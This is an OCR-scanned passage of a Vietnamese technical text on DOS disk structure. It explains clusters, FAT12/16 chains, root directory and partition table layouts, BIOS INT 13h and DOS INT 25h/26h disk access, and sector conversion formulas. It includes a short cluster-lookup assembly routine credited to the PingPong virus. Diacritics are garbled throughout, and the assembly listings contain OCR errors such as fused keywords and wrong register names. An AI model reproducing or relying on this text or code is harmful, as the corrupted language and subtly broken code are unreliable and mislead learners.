thay vao d6, DOS dua ra mot khdi niém Cluster: 1a tap hgp nhiéu sector, do d6, thay vi quéan
quan 1i nhiéu sector, DOS bay gid chi quéan Ii trén cac cluster. R6 rang sd luong cluster s&
giam di nhiéu néu ta ting s luong sector cho mot cluster.

b. Khdi niém vé FAT: Vén dé phiic tap va then chét clia viéc quan i file trén dia 12 1am sao
quan 1i duoc su thay déi kich thudc cac file. Pay 1a mot diéu tat nhién vi khi 1am viéc v6i mdy,
doi hdi ta phai truy xudt dén file trén dia.
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Gia str, c6 mot file c6 kich thude 2250 byte dugc chita trén dia ¢6 dung lugng 1.2 Mb (d6i véi
loai dia nay, mot cluster chi 1a mot sector), ta phdi dung t6i 5 cluster dé chia file nay, 4 cluster
dau tién da chia 2048 byte, sector con lai chi chia 2250 - 2048 = 202 byte (vi rd rang, ta
khong thé ghi mot khéi nhd hon mot sector). Tiép theo, file thit hai dugc ghi 1én 7 sector k&
do. Bay gid, van dé s& kho khin néu ta muén b6 xung thém 460 byte vao file dau. Lam thé nao
cho t6i uu ? Rd rang, ta chi c6 thé bd xung vao sector cudi file mot thém 512 - 202 = 310 byte,
nhu the van du lai 460 - 310 = 150 byte ma khong biét phai dé vao dau. Ghi vao sector thi sdu
chang ? Khong thé dugc vi sector ndy da dugc danh cho file thit hai rdi. Cach gidi quyét tudng
chimg don gian 1a doi toan bo file nay xudng mot sector . Tuy nhién, day ciing khong phai 1a
mot phuong phdp t6i wu vi néu file thit hai chi€ém dén 1Mb. D€ ghi thém 150 byte ma can phai
doi (thuc chét 1a phai doc/ghi lai) di 1Mb thi that 12 qua ton kém va khong thiét thuc chit nao.
Phuong phép giai quyét tot nhat da duge DOS dé nghi: ding mot bang Iuu trang thdi céc sector
(FAT) cho phép DOS biét dugc sector nao con dung dugc, sector nao da dung ...... do do, dé
tim dugc mot sector nio d6 con trong dé phan bé cho file méi.

Nhung dé quén 1f nhitng sector nhu thé€ cin qua nhiéu byte cho FAT. Gia sit mot dia cing c6
dung lugng 32 Mb sé& c¢6 khoang 64 Kb sector (32Mb/512byte). Néu mot sector can phai ton
dén 2 byte dé quan 1i thi phadi mat 2*64=128Kb cho bang FAT. Thé nhung, dé tién cho viéc
truy xudt, phan 16n FAT s& duoc tai vao bo nhd trong, nhu thé kich thudc qué 16n cling 1am
giam di toc do truy xuét. Vi vay, day ciing 1a Iy do ma DOS da dua ra khai niém cluster nham
gidm b6t ddng ké kich thudc ctia FAT.

La mot san phdm cta DOS, ho cé toan quyén dinh doat dé c6 bao nhiéu sector cho mot
cluster, do vay, s6 nay sé& thay déi tuy thuoc vao dung luong ctia dia sao cho t6i wu nhat. Véi
cdc dia mém, thudng s sector cho mot cluster tir 1 dén 2 sector, trén dia ciing, con s6 nay 1a 4
hay 8.

c. Ddnh 56 sector - ddanh s6 cluster: Nhu ta da biét, bo diéu khién dia tham chiéu mot sector
trén dia thong qua 3 tham s6: Cylinder, Head, va Sector (vi vdy, doi khi n6 con dugc biét
dudi tén goi hé 3 truc toa do). Tuy nhién, hé truc nay lai khong thuan 1oi cho ngudi st dung vi
ho ching cin phai biét cdu tric chi tiét clia dia: gdm bao nhiéu Track, bao nhiéu head, ciing
nhu bao nhiéu sector trén mot Track ra sao. Dé tranh su bat tién nay, DOS tién hanh dinh vi dit
lieu trén dia chi theo mot chiéu: sector. DOS don gidn la dédnh s6 sector 14n lugt bt dau tir
sector 1, Track 0, head 0 cho dén hét so sector trén track nay, réi chuyén sang sector 1 clia
Side 1. T4t cé cdc sector ctia mot Cylinder s& dugc ddnh s6 tuén ty trude khi DOS chuyén sang
track k€. Viéc danh s6 nay thuc chat ciing nham t6i wu viéc di chuyén dau doc cta dia, khi di
hét sector trén track ndy méi chuyén dau doc sang track k€. (Vi li do nay, mot s6 phadn mém di
tim cédch don file lai trén cdc sector lién ti€p nham ting t6c do truy xudt cling nhu kha nang
khoi phuc file khi bi sy c¢6 nhu SpeedDisk ctia Norton Untility). Cach ddnh s6 nhu vay duoc
goi 12 ddnh so6 sector logic, khdc v6i sector vat 1i, sector logic bat dau dém tir 0.

Mot khi sector da duogc danh s6, cluster cting dugc danh sd theo. Nhu ta da biét: FAT chi quan
1i nhitng cluster dé luu chia dif liéu nén cluster bat dau dugc ddnh s6 tir nhitng sector dau tién
ctia phan dit liéu. Néu dia duoc qui dinh 2 sector cho mot cluster thi hai sector ddu tién cta
phan dit liéu (phdn bat dau ngay sau Root) s& dugc danh s6 12 2, hai sector k€& ti€p 1a cluster 3
va cit thé cho dén hét.

Vi vay, néu mot dia ¢6 15230 cluster cho phan dit liéu thi sector cudi ciing cta dia s& duoc
dédnh s6 15231.

d. Noi dung cia FAT: Mai cluster trén dia dugc DOS quan 1f bang mot entry (ddu vao), hai
entry ddu tién duoc diing dé chita thong tin dac biét: byte nhan dang (day ciing 14 1i do cluster
dugc ddnh s6 tir 2), entry thit 3 chia thong tin vé cluster 2, cit thé tiép tuc.... Khi format logic
dia, trong khi xay dung FAT, DOS s€ 1an luot tién hanh doc timg sector 1én, néu gap 16i tng
v6i cluster nao, cluster d6 s€ dugc danh dau 1a hong.

Khi quén Ii file, 1am sao DOS c6 thé biét nhiing cluster nao la cia file nao? Rat don gidn: gid
tri entry cua cluster nay chita gid tri 12 s6 thit tu entry tiép theo nd, ci thé, cic cluster cta file
12
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tao thanh mot chudi (chain) cho dén khi gap dau hiéu két thdc. Ty theo kich thuge cua entry
12 12 hay 16 bit, gia tri cha cluster c6 thé bién thién theo bang :

Gia tri y nghia

0 Cluster con trong, c¢6 thé phan bé dugc.
(0)002-(F)FEF  Cluster dang chita dit liéu ctia mot file nao dé
(0)002 gid tri cia n6 12 s0 cluster k€ ti€p trong chain
(F)FFO-(F)FF6  Danh riéng khong dung

(F)FF7 Cluster hong

(F)FF8-(F)FFF  Cluster cudi ciing clia chain

Mot vi du nhdm minh hoa chain trong FAT:

00 01 02 03 04 05 06 07 08 09 Oa Ob Oc 0Od Oe Of

00 ID FF 03 04 05 FF 00 00 09 OA 0B 15 00 00 00 00
10 00 00 00 00 00 16 17 19 F7 1A 1B FF 00 00 00 00

Trong vi du trén, ‘entry’ 0 va 1 dugc danh riéng cho byte nhan dién: FDh (dia 360Kb), gia tri
cua cluster 2 trd dén cluster 3, gid tri cua cluster 3 trd dén cluster 4 ... cho dén khi cluster 5
chtra gid tri 1a OFFh cho biét da 1a cudi file, cluster 6 va 7 c¢6 gia tri O cho biét hai cluster nay
chua dung t6i, c6 thé phan bd néu can. Cluster 18 ¢6 gid tri OF7h cho biét dd ddnh dau bd. Tuy
nhién, ¢ day lai xuat hién mot cau hoi khéc: 1am sao xédc dinh cluster ndo bat ddu mot file?
(cling 1a dau vao mot chain) va kich thudc that su cla file (vi 16 rang sector cudi cing khong
dung hét). Diéu nay s& dugc DOS dé cap dén trong céu tric ti€p theo - cdu triic Root.
e. Phdn loai FAT - Dinh vi cluster: Gia st ta c6 mot dia 360 Kb, c6 khoang 720 sector, néu su
dung 2 sector cho mot cluster, va nhu thé t6i da cling chi 720/2=360 cluster. Dé quén Ii s6
luong entry khong 16n 1dm nay, ta phai cdn dén mot entry bao nhiéu bit ?
R® rang, véi kich thudc mot byte, ta khong thé quan 1f dugc vi gia tri t6i da ma mot byte c6
thé biéu dién dugc 1én t6i t6i da 255 < 360. Nhung néu dung mot word dé biéu dién thi lai quéd
thira vi gid tri t6i da cta né 1én téi 65535. Tat nhién 1a qua 16n so véi 360 cluster ma ta dinh
biéu dién. Cach tot nhat 1 14y kich thuéc trung gian: 12bit (mot byte rudi). Rd rang, kich
thude nay rat xa la véi moi ngudi, ké ca nhitng thao chuong vién hé théng vi chi ¢6 khdi niém
byte, bit, word hay tham chi double word ma thoi. Du vay, khdi niém FATI2 bit nay van duoc
diing cho dén nay do tinh hiéu qua cia né trén cic dia c6 dung luong nho. Véi 12 bit ¢ thé
quan Ii t6i da 4095 cluster, s6 nay khong phai 1a nho.
Tuy nhién, véi su ra doi cua cdc dia cing dung luong cao: 20Mb, 40 Mb ... da 1am xudt hién
nhugc diém ctia FAT12: chi quan Ii t6i da 4095 cluster, do d6 véi s6 lugng sector trén dia
cang nhiéu thi chi ¢c6 mot cach giai quyét 1a ting s6 lugng sector trong mot cluster. Nhung
cach nay ciing khong phai 1a t6i vu vi s6 byte cdp phat thira cho 1 file s€ tang 1én nhanh khi s6
sector trong cluster tang 1én. Vi 1i do nay, FAT 16 bit da ra doi va s6 lugng cluster quan 1i
dugc da tang 1én 65535 cluster.
Véi su xuat hién cta hai loai FAT, van dé lai tré nén phiic tap: céach dinh vi hai loai FAT nay
hoan toan khac nhau. Tuy vay c6 thé tinh todn nhu sau :
* P6i voi FAT 16 bit: moi entry cla cluster chi€ém hai byte nén vi tri clia cluster ti€p theo sé&
bing gi4 tri cluster hién thoi nhan hai.
* Poi v6i FAT 12 bit: vi moi entry chi€ém 1.5 byte nén vi tri clia cluster ti€p theo trén FAT
bing gia tri cluster hién thoi nhan véi 1.5.
Nhung gia tri ti€p theo phai duoc tinh lai vi n6 chi chi€ém 12 bit trong khi gia tri 14y ra 1a 1
word (trong cdc lénh mady, rét ti€c khong c6 1énh nao cho phép 14y mot gia tri 12 bit ca). Cach
giai quyét nhu sau :

+ Néu s0 thit tu s6 cluster 1a chan, gia tri thuc t€ 1a 12 bit thap.

13



+ Néu s6 thit tu s6 cluster 1a 1€, gid tri thuc t€'1a 12 bit cao.
Tat ca cdc dia mém va nhiing dia cing ¢6 dung lugng dudi 12Mb van con ding FAT 12 bit.
Poan ma sau minh hoa cich dinh vi cluster:
LocateCluster ~ procnear
;Chiic nang: ti€n hanh dinh gid tri cla cluster k& trong FAT_Buffer dua vao s6 cluster va ;loai
FAT trong bién FAT _type, bit 2 ciia bién nay = 1 cho biét loai FAT la 16 bit.
;Vao SI = s6 cluster dua vao.
;Ra DX = sd cluster ti€p theo.

mov AX, 3

test FAT _type ;FAT thudc loai nao

je FAT_12 ;Néu 12bit s& nhan vdi 3

inc AX ;Néu 16bit s€ nhan véi 4

FAT _12:

mul SI

shr AX, 1 ;Chia lai cho 2 dé ra diing s6
mov BX, AX

mov DX, FAT buffer[BX] ;DX=gia tri ctua cluster k&
test FAT type, 4 ;FAT thudc loai nao?

jne FAT_16 ;Néu 1a FAT 12 s tinh ti€p
mov ch, 4

test SI, 1 ;Cluster dua vao 1a chan hay 1é
je chan

shr DX, CL ;Chuyén 4 bit cao thanh thap
Chan:

and DH, OFh ;Tat 4 bit cao

FAT_16:

ret

Locate_cluster  endp
(Trich PingPong virus).

3/ Root directory: La cau triic bd xung cho FAT va nim ngay sau FAT. Néu FAT nhim muc
dich quan 1{ & muc thap: tiing sector, xem né con dung dugc hay khong, phan phdi néu cin thi
Root directory khong cin quan tAm ma chi nhim quan Ii file, mot khdi niém cao hon, ma
khong can bi€t né gébm nhitng sector nao. Root ¢6 nhiém vu luu giit thong tin vé file trén dia.
Mbi file dugc dac trung bdi mot dau vao trong Root Dir. Khong nhu FAT, méi entry ctia Root
Dir ¢6 kich thuée xac dinh 32 byte Iuu gilt nhitng thong tin sau :

Offset | K/thuéc | Noi dung

+0 8 Tén file, dugc canh trai

+8 3 Phan mo rong, duoc canh tréi

+0Bh 1 Thuoc tinh file

+0Ch 0Ah Danh riéng

+16h 2 Thoi gian tao hay bd xung sau cling
18h 2 Ngay tao hay b3 xung sau cling

1AH 2 S6 cluster bit ddu cua file trong FAT
1Ch 4 Kich thudc file (byte)
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Thudc tinh file: mo ta thudc tinh ma file s€ mang, nhimg thudc tinh nay 1a Read Only,
Hidden, System, Volume, SubDir va Attrive. Cic bit biéu dién nhitng thudc tinh nay nhu sau :
byte thudc tinh:

+bit 0 = 1: file chi doc.

+bit 1 =1: file 4n.

+bit 2 = 1: file h¢ thong.

+ bit 3 = 1: Volume label

+ bit4 = 1: SubDir.

+ bit 5 = 1: file chua dugc backup.
Entry dau file trong FAT ciing dugc luu giit tai day cho phép tang toc do tinh todn va truy xudt
file ciing nhu kich thuéc file cho biét kich thuéc cu thé clia ting file hon 1a s6 cluster qué tritu
tuogng.
Noi dung ctia thu muc goc: cé thé 13 mot file hay mot thu muc con (SubDir). Ta s& di sau vao
su khdc nhau gifta thu muc goc va thu muc con. Thu muc géc luon ndm trong viing hé théng,
ngay sau FAT, kich thudc (s sector) danh cho Root dugc tao ra trong khi format logic va
khong thay déi trong suét qua trinh st dung, do dé, so entry trong Root bi gi6i han. Nguoc lai,
SubDir lai ndm trong ving dit liéu nén kich thuéc khong bi han ché, né cé thé dugc tao ra,
thém bét, hity .... nhu mot file. Thyuc chat, SubDir Ia cau tric ‘lai’ giita file vd Root: né c6 thé
duoc phan phoéi cluster dé chia dit liéu, tang giam kich thudc nhu file, tuy nhién, dit liéu clia
n6 lai 1a cdc entry nhu Root Dir. Chinh cdu triic ciia SubDir lam cho cau tric toan thu muc néi
chung khong bi han ché (tat nhién, ciing bi han ch€ do dung lugng dia) tao thanh mot cau tric
cay cho phép thi hanh giai thuat truy xuét trén cay gon va day hiéu qua.
Ciing nhu nhiing entry cha FAT, entry cla Root ciing mang nhiing gia tri nao d6 dé chi ra
entry ndy hodc da ding, con trong hay da bo di .... Ki tu ddu tién ca tén file phin dnh diéu
nay. Néu mot entry bit diu bing byte ¢6 gi4 tri:
0: entry con trong chua duoc dung, do do, cho phép DOS biét né da dat téi entry cudi cung.
¢’ (dau cham): ki tu nay & byte ddu cho biét entry nay danh riéng cho DOS, dugc dung trong
cdu tric thu muc con.
OES: ki tu sigma nay thong bdo cho DOS biét entry nay cua mot file bi x6a. Khi x6a mot file,
thyc chat DOS chi ddnh dau byte ddu tién 1a O5E va x6a chain cta file trong FAT. Do d6, c6
thé khoi phuc lai file néu chua bi file khac de 1én.
Mot ki tu bat ki: 1a tén mot file, entry nay dang luu gitt thong tin v€ mot file nao do.
4/ C4u trac Partition table: Gid mot dia cting twong d6i méc, mat khéc, dung lugng dia qué
16n ciing lam DOS khong quan 1f néi (chi tir DOS 3.4 tr& di, méi ¢6 kha nang quén Ii trén
32Mb), va nhat 1a muén tao mot dia v6i nhiéu hé diéu hanh khdc nhau, do d6 doi hoi phai chia
dia cting thanh ting phan goi 12 Partition.
Céc céu triic dia ma ta trinh bay trén chi hoan toan ding ddi v6i dia mém, con dia ciing, néu
da duoc chia thanh cdc Partition thi cau trdc trén van ding trong cac Partition ma DOS quan Ii.
Cic thong tin vé diém bét ddu va kich thuéc clia timg partition dugc phan dnh trong Partition
table. Partition table nay luon tim thdy & sector ddu tién trén dia (track 0, Side 0, sector 1) thay
vi Boot sector (con dugc goi dudi tén Master boot).
Nhu d3 biét, sector nay s& duoc doc lén dau tién va trao quyén diéu khién, do dé, ngoai
Partition table, Master boot con chita doan ma cho phép xac dinh partition nao dang hoat dong
va chi duy nhat ¢6 mot partition hoat dong ma thoi.
Partition table ndm & offset 01BE, mdi partition dugc déc trung bing mot entry 16 byte phan
anh nhitng thong tin vé€ n6. Moi entry ¢6 cu triic nhu sau:
Offset  Size Noi dung
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+0 1 Co hiéu boot: 0=khong active; 80h=active

+1 1 S6 head bit diu

+2 2 S6 sector va Cylinder ctia boot sector

+4 1 Mai hé thong: O=unknow; 1=FAT 12 bit; 4= 16 bit
+5 1 S6 head két thuc.

+6 2 S6 sector va Cylinder cta sector cudi ciing.

+8 4 S6 sector bat ddu twong doi. (low high)

+0Ch 4 Tdng s6 sector trén partition.(low high)

+10h Dau vao clia mot partition méi hay tan cling cua bang

néu co gid tri 0AASS.

III - Cac Tac Vu Truy Xuat Dia.

Céc phan trén da dé cap kha chi tiét dén cau tric vat 1i cling nhu céu tric logic cla dia. Tat
nhién, cdc ban s& hoi: tng vé6i cau triic nhu thé, viéc truy xuét phai nhu thé nao? Liéu ring véi
hai céch té chitc dia (vat 1i va logic theo DOS), viéc truy xudt c6 gi khdc nhau? Phan sau day
s& giai quyét cau hdi nay.

1/ Mitc BIOS (Basic Input/Output System): Tuong ting v6i mitc ciu tric vat If, bo diéu khién
dia ciing dua ra cdc kha nang cho phép truy xuédt & mic vat 1i. Cdc chic nang nay dugc thuc
hién thong qua ngét 13h, véi ting chic ning con trong thanh ghi AH. Céc chiic nang can ban
nhit s€ dugc khao sat sau day:

a. Reset dia:
Vao: AH=0

DL = s6 hiéu dia vat Ii (O=dia A, 1=dia B ..... 080=dia ciing).

Néu DL 12 80h hay 81h, bo diéu khién dia ciing s& reset

sau dé dén bo diéu khién dia mém.
Ra: Khong
Chifc nang con nay dugc ding dé reset dia sau mot tdc vu gap 15i.
b. Ldy md 16i ciia tdc vu dia gan nhdt:

Vao: AH=1
DL = dia vat li. Néu DL=80h 14y 15i clia dia mém
DL=7Fh 14y 16i clia dia ctng.

Ra: AL chita ma 16i, thuc chét ctia 16i nay, BIOS 14y ra tr viing dif liéu clia n6 tai dia
chi 0:0441.
Mot s6 ma 16i thuong gip duoc liét ké sau day:
Mai 16i Mo ta

00h Khong gip 16i

01h Sai Iénh hoac 1énh khong hop 1€.

03h Ghi vao dia c6 dan nhan chong ghi.

04h Sector ID sau hay khong tim thay.

05h Reset gap 16i.

10h Bad CRC: CRC khong hop 1¢ khi dit liéu trén sector dugc kiém  tra.
20h Controller gap 16i.

40h Seek gap 161, track yéu cAu khong tim thay.
80h Dia khong san sang.

0BBh L6i khong xdc dinh.

c. Doc sector:
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Vao: AH=2

DL=s6 hiéu dia (0=dia A, ..., 80h=dia ciing 0, 81h=
dia cing 1);

DH=s6 d4u doc ghi.

CH= s6 track (Cylinder)

CL=s0 sector.

AL=sd sector can doc/ghi (khong vugt qué s sector
trén mot track).

ES:BX=dia chi cta buffer chita thong tin.

0:078=bang tham s6 dia mém (ddi véi cdc tic vu trén

dia mém).
0:0101=bang tham s& dia cting (d6i véi cdc tac vu trén
dia cing).
Ra: CF=1 néu ¢6 16i va ma 16i chita trong AH.
d. Ghi sector:
Vao: AH=3

ES:BX tr6 dén buffer chita dit liéu
con lai twong tu nhu chitic ndng doc sector.
Ra: CF=1 néu ¢4 16i va ma 16i chita trong AH.

0 day cin luu y dén quy udc phic tap trong viéc xdc dinh track va s6 thi tu sector trong thanh
ghi CX. R4 rang, s6 sector trén mot track 14 qua nho (s6 sector trén mot track 16n nhat thudng
gap hién nay ciing chi khodng 34 (chi€m cao 1dm khodng 6 bit), trong khi d6, s6 lugng track
trén dia c6 thé 16n, do do, khé ma dua gia tri d6 vao thanh ghi CH (chi biéu dién t6i da 256
track ma thoi). Giai phdp la dung thém 2 bit trong CL 1a 2 bit cao cho s6 track, lam cho n6 c6
kha nang biéu dién duoc so track t6i da lén dén 1024 track. So d6 nhu sau:

F EDC B A 9 8 7 6
c ccccccc Cec

4\

2 bit dugc dung nhu bit cao cho trude
Theo so db nay, 2 bit cu6i cia CL dugc gdn 1a 2 bit cao nhét thém vao bén gid tri CH. Do d6,
gia tri 16n nhéat cua sector (6 bit) 12 3Fh=63 sector trén mot track (cling van chua khai théac hét
kha nang nay) va bay gid s track toi da ¢ thé quan 1i dugc len dén 3FFh=1024 track. Chinh
vi cdch quy udc nay, viéc thuc hién di€u chinh ca hai gid tri track va vao thanh ghi CX doi hoi
mot giai thuat khéo 1éo. DPoan chuong trinh sau s&€ minh hoa cédch giai quyét nay:
Ready_CX procnear
:Chtic nang: cho gia tri 2 bién track va sector vao thanh CX chudn bi cho tic vu doc ghi ;sap
tGi.

4 32 10
S

5
S s s s s s

Push DX ;Cét thanh ghi DX

mov DX, track ;DX=gia tri track trong cac bit
;tr 0 t61 9

xchg DH, DL ;DH chta 8bit thip, DL chita 2bit
;cao

mov  CL,5 ;tuy nhién lai ndm & bit O va 1

shl DL, CL ;Can ddy ching sang trdi 6 vi trf

or DL, sector ;Pua gia tri sector vao DL
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mov CX, DX ;CX da lam xong

pop DX ;Lay lai gid tri DX
ret
Ready_CX endp

e. Verify sector: Chic niang nay cho phép kiém tra CRC clia céc sector dugc chon.
Vao: AH=4
Céc thanh ghi nhucvad
Ra: CF=1 néu ¢6 16i va mi 16i chita trong AH.

2/ Miie DOS: Cac chic nang cia ngéat 13h cho phép doc bat ki mot sector nao trén dia. Tuy
nhién, do céc quy dinh thanh ghi phiic tap, nhiéu yéu t6 anh hudng (track, head, sector), cdc
chitc nang nay khong dugc ngudi stt dung wa chuong 1am. Thay vao d6, DOS da cung cap mot
céch truy xuét dia khac rét thuan lgi cho nguoi st dung vi tinh don gian va hiéu qua.
Chic nang doc va ghi dia dudi DOS dugc phan biét boi hai ngit 25h va 26h, tham s6 dua vao
bay gid chi con 12 sector logic. Nhung nhugc diém clia né trén cic dia cting c¢é chia partition:
n6 chi cho phép truy xuét cdc sector bét dau tir Boot sector clia partition d6.
Pé tién viec goi tén dia, DOS khong xem céc dia mém dugc danh so6 tir O dén 7Fh va dia ciing
bat dau tir 80h nhu BIOS ma thay vao d6, goi cic dia theo thit tw cdc chif cdi tit A dén Z. Cich
ddnh s6 nay lam cho ngudi sitr dung dé hinh dung ra é dia duoc truy xuat. C4c tham sé cho
chtic ndng nay nhu sau:
Vao:  AL=s6 dia (0=A, 1=B, ...

CX=s0 lugng sector can doc/ghi

DX=s06 sector logic bat dau.

DS:BX=dia chi cta buffer chia dit liéu cho tac vu doc/ghi
Ra: L6i néu CF=1, ma 16i chua trong AX. Nguoc lai, tac vu doc/ghi dugc thuc hién thanh
cong, cdc gid tri thanh ghi déu bi phé hiy, trix cdc thanh ghi phan doan va mot word con sét lai
trén stack.
Cic ngat ndy van bi hai nhuoc diém gay khé chiu cho ngudi ding. T4t ca cdc thanh ghi déu bi
thay déi, do vay, truéc khi goi chiic ning nay, nén cat nhitng thanh ghi ndo cin thiét. Mat
khac, khi thuc hién xong, DOS lai dé lai trén stack mot word s& gay 13i cho chuong trinh néu
khong dé y dén. Doan vi du sau doc Boot sector clia dia A bang ngit 25h.
ReadBoot  procnear
;doc Boot sector cuia dia A vao MyBuffer

movAL, 0 ;bia A
movDX, 0 ;:Sector 0
mov CX, 1 ;Poc mot sector
lea BX, MyBuffer ;DS:BX tr6 dén MyBuffer
int 25h
pop DX ;Lay lai mot word trén stack
ret

ReadBoot  endp

Néu dé y, ta s& thdy s6 sector logic dugc dat trong mot thanh ghi 16 bit, nghia 12 s sector tdi
da ciing chi dat t6i 65535. Néu s6 byte trén sector van 1a 512 byte thi dung luong dia ma DOS
quén If dugc chi c¢6 32Mb du s6 lugng cluster 16n nhat ma DOS quan 1f ¢6 thé gap 4 hodc 8
lan.
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Nhuoc diém nay can phai dugc khéc phuc trude su canh tranh khoc liét gitta céc hé diéu hanh.
Bit déu tir DOS 4.xx, DOS da md rong s6 sector logic tr 16 bit 1én 32 bit va vin tuong thich
hoan toan véi cdc version truGe d6. Su tuong thich nay nhu sau: néu CX=-1: s sector 16n nhat
ctua DOS, dang thiic cia DOS 4.xx s€ dugc dp dung. Lic nay, DS:BX s¢ 1a gid tri cia Control
Package, mot cdu tric gom 10 byte - chita cdc thong tin v€ sector ban ddu, s6 sector can doc
....... CAu tric cua Control Package nhu sau:

Offset Kich thuéc Noi dung

0 4 S6 sector logic ban ddu
4 2 S6 sector can doc/ghi
6 4 Dia chi cta buffer dit lieu

Lbi ctia chic nang md rong nay tuong ty nhu céc version trude. Tuy vay, néu ban khong dung
cau triic 32 bit nhu trén dé truy xuét nhitng partition ¢6 hon 65535 sector ciing bi gap 16i. L6i
tra vé c6 thé 1a 2 (Bad address mark) hay 7 (Unknow Media).
L& di nhién DOS di tao thuan tién cho nguoi sit dung nhung it ai chiu thda man nhiing yéu
clu cuia minh. R4 rang, khi truy xuat dia ta phai biét loai cia nd, mat khdc, 1am sao ta ¢6 duoc
nhiing thong tin quan trong vé dia, xem FAT ctia n6 gom bao nhiéu sector, Root Dir bat ddu tix
dau ching han.Toan nhitng thong tin quan trong. Thuc t€, ciing di nhiéu ngudi tu 1am bing
cich doc boot sector 1én va sir dung phan BPB dé tinh todn. Song cdch niy dem lai nhiéu phiic
tap trong van dé tinh todn, d6 14 chua ké nhitng dia ma boot sector chita ‘rdc’ thay cho dit liéu
ta can. DOS ciing khong c¢6 mot tai liéu cong bo chinh thitic ndo dé cap dén van dé nay. Tuy
nhién, trong qué trinh nghién ciu, nhitng ngudi thao chuong vién giau kinh nghiém phat hién
mot chiic nang ctia DOS (ngit 21h) cho phép 14y nhitng thong tin nay.
Tur day tré di, nhitng chic nang tu nguoi s dung phat hién dugc s€ goi 1a Undocumented (tai
liéu khong dugc cong bo chinh thic). Chiic nang nay la:
Vao:  AH=32h
DL=dia (0=ngam dinh, 1=A....)
Ra: AL=0 néu dia hgp 1&
OFFh néu dia khong hgp 1é
DS:BX Ia dia chi cua bang tham s6 dia cua dia dugc chi dinh.
CAu tric ctia bang tham sd dia nhu sau:
Offset  Size Noi dung

+0 1 S6 hiéu dia (0=A, 1=B ....)
+1 1 S6 hiéu con tir Device Driver
+2 2 S6 byte trong mot sector
+4 1 S6 sector trong mot cluster
+5 1 Cluster to sector shift (cluster 1a 2 mii s6 sector) +6
2 BootSiz: S6 sector danh riéng
+8 1 S6 bang FAT.
+9 2 MaxDir: s6 ddu vao toi da trong Root
+0B 2 S6 sector tng véi cluster #2
+0D 2 Téng s6 cluster + 2
+0F 1 S6 sector can cho 1 bang FAT.
+10 2 Sector bt dau Root.
+12 4 Off Seg: dia chi ctia device header
+16 1 Byte media descriptor
+17 1 Co access: 0 néu dia da truy xuat.
+18 4 Off Seg: dia chi clia bang tham s6 k&
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cudi bang néu 1a FFFFh

Tuy vay, cling can chi y mot diéu: DOS sé& khong chiu trach nhiém vé nhitng diéu minh khong
cong bo va do d6, néu chuong trinh ctia ban c6 st dung dén chic nang nao gy thiét hai dang
ké cho dia ctia ban thi d6 12 16i clia ban! Mat khac, cau tric ndy c6 thé thay déi trong tuong lai
khi mot version mdéi ra doi. Thuc t€ da ching minh diéu nay: bang tham s6 dia trén da c6 mot
su thay déi nho trong ciu tric (tuy vy, cling da 1am ‘Run time error’ cho mot s6 chuong
trinh). Do nhu cdu m& rong kha nang quan i dia, s6 sector danh cho mot bang FAT c¢6 thé
vugt qua gidi han 255 sector va do d6 gid tri sector danh cho mot bang FAT tang tir mot byte
1én mot word.
3/ Cac giai thuat chuyén doi - dinh vi:
a. Chuyén doi: Su ton tai 2 cdch truy xuat theo cdc y&u t6 vat If hoic logic theo DOS lam phat
sinh van dé: sector a trén head b track c s€ twong ung véi sector logic bao nhiéu va nguoc lai,
tir sector logic x nao d6 lam sao tim duogc toa do vat li ctia n6? Viéc danh s6 cua ca hai cach
déu dugc khéo sét, do d6, ciing khong phic tap 1dm dé 1am mot cong thiic thay déi tir hé nay
sang hé kia va nguoc lai.

Sector_logic=(sect-1)+Hd*SecTrk+Cyl*SecTrk*HdNo

Trong do:
Sect : s0 sector hién thoi theo BIOS
SecTrk: sd sector trén mot track
Cyl : 0 Cylinder hién thoi
Hd : 0 head hién thoi theo BIOS

HdNo : s6 dau doc ctia dia
Chi ¥ 1 cong thic trén chi ding néu Boot sector ciing nidm ngay tai track 0, head 0 va sector
1, nghia 1a viéc ddnh s6 cla ca hai phai bt ddu cling mot goc. Néu trén partition, phai chid y
dén gid tri cta cdc sector ddu mat (hidden sector).
Pé tién hanh chuyén ddi nguoc lai, ta ciing c6 cong thifc:
Sect=SecLog mod SecTrk+1
Dh=(SecLog/SecTrk) mod HdNo
Cyl=SecLog/(SecTrk*HdNo)
Trong do:
Sect= sector tinh theo BIOS
HD= head tinh theo BIOS
Cyl= Cylinder tinh theo BIOS
SeglLog= sd sector logic
HdNo= s6 dau doc cla dia
Ba tham s6 clia ngat 13 ciing duoc chuyén déi, tuy nhién, vin phai bdo dam danh s6 cling goc
va diéu chinh lai néu khong cling goc.
Viéc chuyén déi khong chi xay ra gitta BIOS va DOS ma con xay ra ngay chinh trong DOS.
Chinh vi qud nhiéu khéi niém dua ra 1am cho né vo cing phifc tap va doi ldc ciing lam néan
long nhitng ngudi mudn ty minh 1lam viéc quan i dia thay cho DOS. Du da dua ra khai niém
sector logic dé tién truy xuat, DOS lai dua ra khai niém cluster dé tién viéc quan li. Viéc
chuyén déi gifta hai khdi niém nay ciing 12 diéu nén biét. Viéc chuyén tir cluster sang sector
logic doi hoi phai biét duogc sd sector logic dau tién ciia viing data. Nghia 12 phai biét s§ sector
danh cho tiing phan: FAT va Root Dir (c6 18 ta khong nén dé cap dén so sector danh cho Boot
sector). Ngoai ra, con phai quan tam dén céc sector danh riéng (ké ca boot).
S6 sector danh cho Root Dir:

RootSec=(RootSize*32)/SecSize

Trong dé :
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RootSec 12 s6 sector bat dau Root

RootSize 1a entry t6i da danh cho Root

SecSize 1a s6 byte trong mot sector.
S6 sector danh cho FAT:

FatSec=FatSize*FatCnt
Trong dé:

FatSec 1a s6 sector dau FAT

FatSize 1a s6 sector cho mot FAT

FatCnt la s6 FAT
lic nay, so sector logic s& duoc tinh boi

SecLog=SecRev+FatSec+RootSec+(cluster-2)*ClusterSize

v6i ClusterSize 1a s6 sector trong mot cluster.
Dé thdy, céc thanh phan ctia viéc chuyén déi déu nam trong bang tham s6 dia.
Viéc chuyén déi nguoc lai ciing twong tu, nghia 1 ciing phai x4c dinh sector logic ddu viing
data. Phan chuyén déi nay dugc coi nhu phan bai tap danh cho cdc ban trong buéc ddu lam
quen vd6i dia.
b. Dinh vi cdu triic logic dia: Van dé dinh vi & day duoc néu ra ¢6 vé hoi thira vi moi thong
tin vé bat ki phan nao ciing c6 thé 14y dugc mot cich nhanh chéng thong qua chic ning 32h
ctia ngit 21h. Nhung, rd ring ngudi ta khong thé qua quyét ring ciu triic ndy ding trén moi hé
diéu hanh DOS va nhat 1a cling khong ddm qua quyét né s& ding trén moi version. Mit khéc,
